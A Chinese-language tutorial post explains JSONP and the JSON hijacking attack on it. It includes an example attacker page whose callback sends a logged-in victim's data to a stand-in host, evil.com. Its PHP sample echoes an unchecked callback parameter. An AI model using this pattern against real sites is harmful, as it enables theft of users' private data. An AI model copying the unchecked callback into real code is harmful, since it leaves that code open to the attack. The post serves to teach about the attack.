淺談JSON HiJacking攻擊
JSON HiJacking攻擊:
JSON劫持類似於CSRF攻擊,為了了解這種攻擊方式,我們先看一下Web開發中一種常用的跨域獲取數據的方式:JSONP。
先說一下JSON吧,JSON是一種數據格式,主要由字典(鍵值對)和列表兩種存在形式,並且這兩種形式也可以互相嵌套,非常多的應用於數據傳輸的過程中。由於JSON的可讀性強,並且很適合JavaScript這樣的語言處理,已經取代XML格式成為主流。
JSONP(JSON with Padding)是一個非官方的協議,是Web前端的JavaScript跨域獲取數據的一種方式。我們知道,JavaScript在讀寫數據時受到同源策略的限制,不可以讀寫其他域的數據,於是大家想出了這樣一種辦法:
前端html代碼:
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> <script type="text/javascript"> function jsonpCallback(result) { alert(result.a); alert(result.b); alert(result.c); for(var i in result) { alert(i+":"+result[i]);//循環輸出a:1,b:2,etc. } } </script> <script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>
後端的php代碼:
<?php //服務端返回JSON數據 $arr=array(‘a‘=>1,‘b‘=>2,‘c‘=>3,‘d‘=>4,‘e‘=>5); $result=json_encode($arr); //echo $_GET[‘callback‘].‘("Hello,World!")‘; //echo $_GET[‘callback‘]."($result)"; //動態執行回調函數$callback=$_GET[‘callback‘]; echo $callback."($result)"; ?>
可以看到,前端先是定義了jsonpCallback函數來處理後端返回的JSON數據,然後利用script標簽的src屬性跨域獲取數據(前面說到帶src屬性的html標簽都可以跨域),並且把剛才定義的回調函數的名稱傳遞給了後端,於是後端構造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函數調用過程返回到前端執行,達到了跨域獲取數據的目的。
一句話描述JSONP:前端定義函數卻在後端完成調用然後回到前端執行!
明白了JSONP的調用過程之後,我們可以想象這樣的場景:
當用戶通過身份認證之後,前端會通過JSONP的方式從服務端獲取該用戶的隱私數據,然後在前端進行一些處理,如個性化顯示等等。這個JSONP的調用接口如果沒有做相應的防護,就容易受到JSON HiJacking的攻擊。
就以上面講JSONP的情景為例,攻擊者可以構造以下html頁面:
<html> <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> <script type="text/javascript"> function hijack(result) { var data = ‘‘; for(var i in result) { data += i + ‘:‘ + result[i]; } new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把數據發送到攻擊者服務器上 } </script> <script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script> </html>
可以看到,攻擊者在頁面中構造了自己的回調函數,把獲取的數據都發送到了自己的服務器上。如果受害者在已經經過身份認證的情況下訪問了攻擊者構造的頁面,其隱私將暴露無疑。
我們用以下幾張圖來總結一下JSON HiJacking的攻擊過程:
(圖片來源:http://haacked.com/archive/2009/06/25/json-hijacking.aspx/)
淺談JSON HiJacking攻擊